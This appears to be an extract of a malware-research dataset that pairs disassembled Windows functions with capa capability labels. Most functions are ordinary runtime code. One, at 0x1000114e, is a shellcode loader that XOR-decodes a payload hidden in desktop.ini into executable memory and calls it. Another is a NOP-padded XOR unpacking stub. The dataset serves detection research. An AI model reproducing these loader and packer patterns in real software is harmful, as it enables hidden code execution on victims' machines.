joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1002aab2
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, 0x101c
call fcn.1001ac20
mov eax, dword [0x10049080]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
push ebx
push dword [ebp + 8]
mov dword [ebp - 0x100c], eax
call fcn.10028357
pop ecx
mov ecx, dword [ebp + 8]
mov ebx, eax
cmp dword [ecx + 8], 0
jne 0x1002aaf4
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
jmp 0x1002ac50
mov eax, dword [ecx]
sub eax, dword [ecx + 4]
push esi
push edi
push 0
cdq
push 2
push edx
push eax
call fcn.10036c80
push dword [ebp - 0x100c]
mov ecx, ebx
mov dword [ebp - 0x1008], eax
mov esi, ebx
mov dword [ebp - 0x1018], edx
and ecx, 0x3f
sar esi, 6
imul edi, ecx, 0x38
push 0
mov eax, dword [esi*4 + 0x1004acf0]
push dword [eax + edi + 0x24]
push dword [eax + edi + 0x20]
push ebx
call fcn.1002aed7
mov ecx, dword [esi*4 + 0x1004acf0]
add esp, 0x14
mov dword [ebp - 0x1010], eax
mov eax, edx
mov edx, dword [ebp - 0x1010]
mov dword [ebp - 0x101c], eax
cmp edx, dword [ecx + edi + 0x20]
jne 0x1002ac49
cmp eax, dword [ecx + edi + 0x24]
jne 0x1002ac49
push 0
lea eax, [ebp - 0x1014]
push eax
push 0x1000
lea eax, [ebp - 0x1004]
push eax
push dword [ecx + edi + 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1002ac49
push dword [ebp - 0x100c]
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.1002aed7
add esp, 0x14
test edx, edx
jl 0x1002ac49
jg 0x1002abbf
test eax, eax
jb 0x1002ac49
mov ebx, dword [ebp - 0x1018]
mov eax, dword [ebp - 0x1014]
test ebx, ebx
jg 0x1002ac49
jl 0x1002abd9
cmp dword [ebp - 0x1008], eax
ja 0x1002ac49
lea edi, [ebp - 0x1004]
xor edx, edx
add edi, eax
lea ecx, [ebp - 0x1004]
xor esi, esi
cmp dword [ebp - 0x1008], edx
jne 0x1002abf7
test ebx, ebx
je 0x1002ac30
cmp ecx, edi
jae 0x1002ac30
mov al, byte [ecx]
cmp al, 0xd
jne 0x1002ac11
lea eax, [edi - 1]
cmp ecx, eax
jae 0x1002ac1d
cmp byte [ecx + 1], 0xa
jne 0x1002ac1d
inc ecx
jmp 0x1002ac1d
movzx eax, al
movsx eax, byte [eax + 0x10049340]
add ecx, eax
add esi, 1
adc edx, 0
inc ecx
cmp esi, dword [ebp - 0x1008]
jne 0x1002abf7
cmp edx, ebx
jne 0x1002abf7
lea eax, [ebp - 0x1004]
sub ecx, eax
mov eax, ecx
cdq
add eax, dword [ebp - 0x1010]
adc edx, dword [ebp - 0x101c]
jmp 0x1002ac4e
or edx, 0xffffffff
mov eax, edx
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.1001a287
leave
ret
Function at 0x1002c0f1
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
sar ecx, 6
push esi
push edi
imul edi, eax, 0x38
mov eax, dword [ecx*4 + 0x1004acf0]
mov dword [ebp - 0xc], ecx
mov ecx, dword [edi + eax + 0x18]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x1002c131
cmp byte [ebx], 0xa
jne 0x1002c131
or byte [edi + eax + 0x28], 4
jmp 0x1002c136
and byte [edi + eax + 0x28], 0xfb
add ecx, ebx
mov eax, ebx
mov dword [ebp - 0x10], ecx
mov esi, ebx
mov dword [ebp - 8], eax
cmp ebx, ecx
jae 0x1002c235
mov dl, byte [eax]
cmp dl, 0x1a
je 0x1002c218
inc eax
cmp dl, 0xd
je 0x1002c162
mov dword [ebp - 8], eax
mov byte [esi], dl
jmp 0x1002c188
cmp eax, ecx
jae 0x1002c196
mov cl, byte [eax]
xor eax, eax
cmp cl, 0xa
sete al
inc eax
add dword [ebp - 8], eax
cmp cl, 0xa
sete al
dec al
and al, 3
add al, 0xa
mov byte [esi], al
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x10]
xor edx, edx
inc edx
add esi, edx
cmp eax, ecx
jb 0x1002c14a
jmp 0x1002c235
push 0
lea eax, [ebp - 0x10]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1002c213
cmp dword [ebp - 0x10], 0
je 0x1002c213
mov ecx, dword [ebp - 0xc]
mov eax, dword [ecx*4 + 0x1004acf0]
test byte [eax + edi + 0x28], 0x48
je 0x1002c1ed
mov dl, byte [ebp - 1]
lea eax, [esi + 1]
mov dword [ebp - 0x14], eax
cmp dl, 0xa
jne 0x1002c1d8
mov byte [esi], dl
jmp 0x1002c1e9
mov byte [esi], 0xd
mov eax, dword [ecx*4 + 0x1004acf0]
mov byte [eax + edi + 0x2a], dl
mov eax, dword [ebp - 0x14]
mov esi, eax
jmp 0x1002c235
cmp byte [ebp - 1], 0xa
jne 0x1002c1fc
cmp esi, ebx
jne 0x1002c1fc
mov byte [esi], 0xa
jmp 0x1002c234
push 1
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.1002aef5
add esp, 0x10
cmp byte [ebp - 1], 0xa
je 0x1002c235
mov byte [esi], 0xd
jmp 0x1002c234
mov ecx, dword [ebp - 0xc]
mov ecx, dword [ecx*4 + 0x1004acf0]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x1002c232
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x1002c235
mov byte [esi], dl
inc esi
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x1002c23e
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
push esi
sar ecx, 6
push edi
imul edi, eax, 0x38
mov dword [ebp - 8], ecx
mov eax, dword [ecx*4 + 0x1004acf0]
push 0xa
pop edx
mov dword [ebp - 0x18], edx
mov ecx, dword [eax + edi + 0x18]
mov dword [ebp - 0x1c], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x1002c284
cmp word [ebx], dx
jne 0x1002c284
or byte [eax + edi + 0x28], 4
jmp 0x1002c289
and byte [eax + edi + 0x28], 0xfb
lea edx, [ebx + ecx*2]
mov eax, ebx
mov dword [ebp - 0xc], edx
mov esi, ebx
mov dword [ebp - 4], eax
cmp ebx, edx
jae 0x1002c3ec
mov dword [ebp - 0x10], 0xd
movzx ecx, word [eax]
mov edx, ecx
mov dword [ebp - 0x14], edx
mov edx, dword [ebp - 0xc]
cmp ecx, 0x1a
je 0x1002c3cc
add eax, 2
cmp cx, word [ebp - 0x10]
je 0x1002c2ca
mov dword [ebp - 4], eax
mov word [esi], cx
jmp 0x1002c300
cmp eax, edx
jae 0x1002c30e
movzx eax, word [eax]
xor ecx, ecx
cmp ax, word [ebp - 0x18]
mov edx, eax
push 0xa
sete cl
xor eax, eax
lea ecx, [ecx*2 + 2]
add dword [ebp - 4], ecx
pop ecx
cmp dx, cx
mov edx, dword [ebp - 0xc]
sete al
dec eax
and eax, 3
add eax, ecx
mov word [esi], ax
mov eax, dword [ebp - 4]
push 2
pop ecx
add esi, ecx
cmp eax, edx
jb 0x1002c2a5
jmp 0x1002c3ec
push 0
lea eax, [ebp - 0x18]
push eax
push 2
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1002c3c7
cmp dword [ebp - 0x18], 0
je 0x1002c3c7
mov edx, dword [ebp - 8]
push 0xa
mov eax, dword [edx*4 + 0x1004acf0]
test byte [eax + edi + 0x28], 0x48
je 0x1002c39d
lea eax, [esi + 2]
mov dword [ebp - 0x1c], eax
mov ax, word [ebp - 4]
pop ecx
mov word [ebp - 2], ax
cmp ax, cx
jne 0x1002c361
mov word [esi], cx
jmp 0x1002c398
push 0xd
pop ecx
mov word [esi], cx
movzx ecx, ax
mov eax, dword [edx*4 + 0x1004acf0]
mov dx, word [ebp - 2]
shr ecx, 8
push 0xa
mov byte [eax + edi + 0x2a], dl
mov edx, dword [ebp - 8]
mov eax, dword [edx*4 + 0x1004acf0]
mov byte [eax + edi + 0x2b], cl
mov eax, dword [edx*4 + 0x1004acf0]
pop ecx
mov byte [eax + edi + 0x2c], cl
mov esi, dword [ebp - 0x1c]
jmp 0x1002c3ec
pop eax
cmp word [ebp - 4], ax
jne 0x1002c3ad
cmp esi, ebx
jne 0x1002c3ad
mov word [esi], ax
jmp 0x1002c3e9
push 1
push 0xffffffffffffffff
push 0xfffffffffffffffe
push dword [ebp + 8]
call fcn.1002aef5
add esp, 0x10
push 0xa
pop eax
cmp word [ebp - 4], ax
je 0x1002c3ec
push 0xd
pop eax
jmp 0x1002c3a8
mov edx, dword [ebp - 8]
mov edx, dword [edx*4 + 0x1004acf0]
mov al, byte [edx + edi + 0x28]
test al, 0x40
jne 0x1002c3e6
or al, 2
mov byte [edx + edi + 0x28], al
jmp 0x1002c3ec
mov word [esi], cx
add esi, 2
sub esi, ebx
and esi, 0xfffffffe
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x1002ebfa
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x1002ec97
push ebx
push esi
call fcn.1002ebc3
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.1002d998
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x1002ec44
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x1002ec96
push edi
push eax
call fcn.100273e6
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x1002ec64
call fcn.100273ac
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x1002ec95
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.1002d998
add esp, 0x20
test eax, eax
jne 0x1002ec83
push edi
call fcn.100273ac
jmp 0x1002ec8b
push ebx
call fcn.100273ac
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x10030f14
Capabilities:
Get geographical location

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push esi
push edi
call fcn.100259fc
mov esi, dword [ebp + 8]
mov edi, eax
push 2
lea eax, [ebp - 4]
mov ecx, esi
push eax
and ecx, 0x3ff
push 0x20000001
or ecx, 0x400
push ecx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x10030f83
cmp esi, dword [ebp - 4]
je 0x10030f7e
cmp dword [ebp + 0xc], 0
je 0x10030f7e
mov esi, dword [edi + 0x50]
lea ecx, [esi + 2]
mov ax, word [esi]
add esi, 2
test ax, ax
jne 0x10030f5b
push dword [edi + 0x50]
sub esi, ecx
sar esi, 1
call fcn.10030a66
pop ecx
xor ecx, ecx
cmp eax, esi
setne cl
mov eax, ecx
jmp 0x10030f85
xor eax, eax
inc eax
jmp 0x10030f85
xor eax, eax
pop edi
pop esi
leave
ret
Function at 0x10030fea
Capabilities:
Get geographical location

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x10049080]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push ebx
mov ebx, dword [ebp + 0x10]
push esi
mov esi, dword [ebp + 8]
push edi
mov dword [ebp - 0x18], eax
call fcn.100259fc
add eax, 0x50
lea edi, [ebp - 0x10]
mov dword [ebp - 0x14], eax
xor eax, eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
call fcn.100259fc
lea ecx, [ebp - 0x10]
xor edx, edx
mov dword [eax + 0x34c], ecx
lea ecx, [esi + 0x80]
mov eax, dword [ebp - 0x14]
mov dword [eax], esi
lea edi, [eax + 4]
mov dword [edi], ecx
test ecx, ecx
je 0x10031061
cmp word [ecx], dx
je 0x10031061
mov eax, dword [0x1003f4bc]
push edi
dec eax
push eax
push 0x1003f3a8
call fcn.10030f89
mov eax, dword [ebp - 0x14]
add esp, 0xc
xor edx, edx
mov dword [ebp - 0x10], edx
mov eax, dword [eax]
test eax, eax
je 0x100310d4
cmp word [eax], dx
je 0x100310d4
mov eax, dword [edi]
test eax, eax
je 0x10031085
cmp word [eax], dx
je 0x10031085
lea eax, [ebp - 0x10]
push eax
call fcn.1003096c
jmp 0x1003108e
lea eax, [ebp - 0x10]
push eax
call fcn.10030a07
cmp dword [ebp - 0x10], 0
pop ecx
jne 0x100310fe
mov eax, dword [0x1003f3a4]
push dword [ebp - 0x14]
dec eax
push eax
push 0x1003f098
call fcn.10030f89
add esp, 0xc
test al, al
je 0x100310fe
mov eax, dword [edi]
xor edi, edi
test eax, eax
je 0x100310c9
cmp word [eax], di
je 0x100310c9
lea eax, [ebp - 0x10]
push eax
call fcn.1003096c
pop ecx
jmp 0x10031100
lea eax, [ebp - 0x10]
push eax
call fcn.10030a07
jmp 0x100310c6
mov eax, dword [edi]
test eax, eax
je 0x100310eb
cmp word [eax], dx
je 0x100310eb
lea eax, [ebp - 0x10]
push eax
call fcn.10030921
pop ecx
jmp 0x100310fe
mov dword [ebp - 0x10], 0x104
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLCID]
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], eax
xor edi, edi
cmp dword [ebp - 0x10], 0
je 0x100311c9
lea eax, [ebp - 0x10]
push eax
lea eax, [esi + 0x100]
neg esi
sbb esi, esi
and esi, eax
push esi
call fcn.10030e0e
mov esi, eax
pop ecx
pop ecx
test esi, esi
je 0x100311c9
movzx ecx, si
push ecx
call dword [sym.imp.KERNEL32.dll_IsValidCodePage]
test eax, eax
je 0x100311c9
push 1
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_IsValidLocale]
test eax, eax
je 0x100311c9
mov eax, dword [ebp - 0x18]
test eax, eax
je 0x10031156
mov dword [eax], esi
mov eax, dword [ebp - 0x14]
push edi
push 0x55
add eax, 0x250
push eax
push dword [ebp - 0xc]
call fcn.100294e4
test ebx, ebx
je 0x100311c4
push edi
push 0x55
lea eax, [ebx + 0x120]
push eax
push dword [ebp - 0xc]
call fcn.100294e4
push 0x40
push ebx
push 0x1001
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x100311c9
push 0x40
lea eax, [ebx + 0x80]
push eax
push 0x1002
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x100311c9
push 0xa
push 0x10
lea ecx, [ebx + 0x100]
push ecx
push esi
call fcn.10034bb4
add esp, 0x10
xor eax, eax
inc eax
jmp 0x100311cb
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1001a287
leave
ret
Function at 0x10035451
Capabilities:
Clear file content

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
mov ebx, dword [ebp + 8]
lea ecx, [ebp - 0x2c]
push esi
push edi
push dword [ebp + 0x10]
mov edi, dword [ebp + 0x14]
push dword [ebp + 0xc]
push ebx
call fcn.100353cd
mov eax, dword [ebp - 0x2c]
and eax, dword [ebp - 0x28]
cmp eax, 0xffffffff
je 0x100355c0
mov eax, dword [ebp - 0x24]
and eax, dword [ebp - 0x20]
cmp eax, 0xffffffff
je 0x100355c0
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 8], ecx
mov dword [ebp - 4], eax
test ecx, ecx
jl 0x10035575
jg 0x100354ad
test eax, eax
je 0x1003556b
push 1
push 0x1000
call fcn.10028ead
mov esi, eax
pop ecx
pop ecx
test esi, esi
jne 0x100354d0
push 0xc
pop ebx
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], ebx
jmp 0x10035562
push 0x8000
push ebx
call fcn.100352fe
pop ecx
pop ecx
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x18]
test eax, eax
jl 0x100354f9
jg 0x100354f4
cmp ecx, 0x1000
jb 0x100354f9
mov ecx, 0x1000
push edi
push ecx
push esi
push ebx
call fcn.1002a49b
add esp, 0x10
cmp eax, 0xffffffff
je 0x1003553e
mov ecx, dword [ebp - 4]
cdq
sub ecx, eax
mov eax, dword [ebp - 8]
mov dword [ebp - 4], ecx
sbb eax, edx
mov dword [ebp - 8], eax
test eax, eax
jg 0x100354f4
jl 0x10035525
test ecx, ecx
jne 0x100354e6
push dword [ebp - 0xc]
push ebx
call fcn.100352fe
push esi
call fcn.100273ac
add esp, 0xc
xor ebx, ebx
jmp 0x100355ce
cmp byte [edi + 0x24], 0
je 0x10035555
cmp dword [edi + 0x20], 5
jne 0x10035555
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], 0xd
cmp byte [edi + 0x1c], 0
je 0x10035560
mov ebx, dword [edi + 0x18]
jmp 0x10035562
xor ebx, ebx
push esi
call fcn.100273ac
pop ecx
jmp 0x100355ce
test ecx, ecx
jg 0x10035537
jl 0x10035575
test eax, eax
jae 0x10035537
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.1002aef5
and eax, edx
add esp, 0x10
cmp eax, 0xffffffff
jne 0x10035595
cmp byte [edi + 0x1c], 0
je 0x10035537
jmp 0x100355c6
push ebx
call fcn.10032fbb
pop ecx
push eax
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x10035537
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0xd
mov byte [edi + 0x24], 1
mov dword [edi + 0x20], eax
pop ebx
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], ebx
jmp 0x100355ce
cmp byte [edi + 0x1c], 0
je 0x100355cb
mov ebx, dword [edi + 0x18]
jmp 0x100355ce
push 0x16
pop ebx
push 0
push dword [ebp - 0x28]
push dword [ebp - 0x2c]
push dword [ebp - 0x14]
call fcn.1002aef5
add esp, 0x10
mov eax, ebx
pop edi
pop esi
pop ebx
leave
ret

Function at 0x10036b80
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x10036bad
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x10036bad
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x4068d8
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x23c
push esi
mov esi, 0x104
lea eax, [ebp - 0x23c]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
cmp eax, esi
pop esi
jbe 0x4068fc
xor eax, eax
test eax, eax
je 0x40690f
cmp word [ebp + eax*2 - 0x23e], 0x5c
je 0x40690f
xor ecx, ecx
jmp 0x406912
xor ecx, ecx
inc ecx
push dword [ebp + 8]
lea ecx, [ecx*2 + 0x40a014]
lea eax, [ebp + eax*2 - 0x23c]
push ecx
push str._s_S.dll
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea eax, [ebp - 0x23c]
push 8
push 0
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
leave
ret 4

Function at 0x406a35
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x7a5dec], 0
push esi
jne 0x406a6c
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x406a46
mov dword [ecx*4 + 0x7a5de8], eax
inc ecx
cmp ecx, 0x100
jl 0x406a41
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x406a9d
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x7a5de8]
xor eax, esi
inc ecx
dec edx
jne 0x406a7f
pop edi
not eax
pop esi
ret 0xc

Function at 0x432003
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
call 0x43200c
nop
pop eax
nop
nop
nop
nop
nop
add eax, 0x40729f
sub eax, 0x407245
nop
nop
nop
mov ebx, dword [eax]
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
add ebx, 4
nop
nop
cmp ebx, ecx
nop
nop
jl 0x432030
nop
nop
nop
nop
nop
nop
nop
add eax, 0xc
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
nop
jne 0x43201e
nop
popal
nop
nop
nop
nop
jmp 0x431219

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10
Function at 0x425770
Capabilities:
Encode data using base64

Disassembly:
push ebp
push edi
push esi
push ebx
mov esi, dword [esp + 0x1c]
mov edx, dword [esp + 0x14]
mov ebx, dword [esp + 0x18]
test esi, esi
je 0x42587b
xor eax, eax
lea esi, [esi]
cmp esi, 2
jbe 0x425800
movzx ebp, byte [ebx]
add edx, 4
add eax, 4
movzx edi, byte [ebx + 1]
add ebx, 3
shl ebp, 0x10
shl edi, 8
or ebp, edi
movzx edi, byte [ebx - 1]
or ebp, edi
mov edi, ebp
shr edi, 0x12
movzx ecx, byte [edi + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov edi, ebp
shr edi, 0xc
and edi, 0x3f
mov byte [edx - 4], cl
movzx ecx, byte [edi + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov edi, ebp
shr edi, 6
and edi, 0x3f
mov byte [edx - 3], cl
movzx ecx, byte [edi + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [edx - 2], cl
mov ecx, ebp
and ecx, 0x3f
sub esi, 3
movzx ecx, byte [ecx + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [edx - 1], cl
jne 0x425790
mov ecx, edx
jmp 0x42583b
movzx ecx, byte [ebx]
shl ecx, 0x10
cmp esi, 2
je 0x425843
mov ebx, ecx
shr ecx, 0xc
shr ebx, 0x12
and ecx, 0x3f
movzx ecx, byte [ecx + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
movzx ebx, byte [ebx + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [edx + 1], cl
mov ecx, 0x3d
mov byte [edx], bl
mov byte [edx + 2], cl
add eax, 4
lea ecx, [edx + 4]
mov byte [edx + 3], 0x3d
mov byte [ecx], 0
pop ebx
pop esi
pop edi
pop ebp
ret
movzx ebx, byte [ebx + 1]
shl ebx, 8
or ebx, ecx
mov ecx, ebx
shr ecx, 0x12
movzx ecx, byte [ecx + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [edx], cl
mov ecx, ebx
shr ecx, 0xc
and ecx, 0x3f
movzx ecx, byte [ecx + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
shr ebx, 6
and ebx, 0x3f
mov byte [edx + 1], cl
movzx ecx, byte [ebx + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
jmp 0x42582e
mov ecx, edx
xor eax, eax
jmp 0x42583b

Function at 0x42b500
Capabilities:
Encode data using xor

Disassembly:
push edi
push esi
push ebx
mov ebx, dword [esp + 0x18]
mov esi, dword [esp + 0x10]
mov edi, dword [esp + 0x14]
test ebx, ebx
je 0x42b52e
xor eax, eax
xor edx, edx
movzx ecx, byte [edi + edx]
xor cl, byte [esi + edx]
add edx, 1
or eax, ecx
cmp edx, ebx
jne 0x42b517
movzx eax, al
pop ebx
pop esi
pop edi
ret
xor eax, eax
jmp 0x42b52a

Function at 0x42b540
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
push ebx
mov ebx, dword [esp + 0xc]
test ebx, ebx
je 0x42b568
mov edx, dword [esp + 8]
mov eax, 0x811c9dc5
add ebx, edx
movzx ecx, byte [edx]
add edx, 1
xor ecx, eax
imul eax, ecx, 0x1000193
cmp edx, ebx
jne 0x42b554
pop ebx
ret
mov eax, 0x811c9dc5
pop ebx
ret
Function at 0x441090
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 8
cmp dword [esp + 0x20], 0xa
mov ebp, dword [esp + 0x1c]
jbe 0x441181
movzx edx, byte [ebp]
not edx
mov eax, edx
shr al, 4
and eax, edx
movzx edx, byte [ebp + 1]
mov ecx, eax
shr cl, 2
mov byte [esp + 4], cl
and byte [esp + 4], al
xor edx, 0xfffffffd
movzx eax, byte [esp + 4]
shr al, 1
mov byte [esp + 6], al
mov eax, edx
shr al, 4
and eax, edx
mov edx, 2
mov ecx, eax
shr cl, 2
mov byte [esp + 5], cl
xor ecx, ecx
and byte [esp + 5], al
movzx eax, byte [esp + 5]
shr al, 1
mov byte [esp + 7], al
mov eax, 1
mov dword [esp], eax
movzx ebx, byte [ebp + edx]
not ebx
mov eax, ebx
shr al, 4
mov esi, eax
and esi, ebx
mov ebx, esi
shr bl, 2
and ebx, esi
mov eax, ebx
shr al, 1
mov esi, eax
and esi, ebx
mov eax, esi
mov esi, dword [esp]
movzx ebx, al
and esi, ebx
sub ebx, 1
lea edi, [esi - 1]
neg esi
and esi, edx
and ecx, edi
or ecx, esi
add edx, 1
and dword [esp], ebx
cmp edx, dword [esp + 0x20]
jne 0x441100
mov eax, dword [esp]
movzx edx, byte [esp + 6]
and dl, byte [esp + 5]
and dl, byte [esp + 4]
and dl, byte [esp + 7]
not eax
mov edi, dword [esp + 0x24]
movzx edx, dl
and eax, edx
mov edx, 9
sub edx, ecx
add ecx, 1
shr edx, 0x1f
and eax, edx
mov edx, eax
neg edx
and edx, ecx
mov dword [edi], edx
add esp, 8
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x24]
mov dword [eax], 0
add esp, 8
xor eax, eax
pop ebx
pop esi
pop edi
pop ebp
ret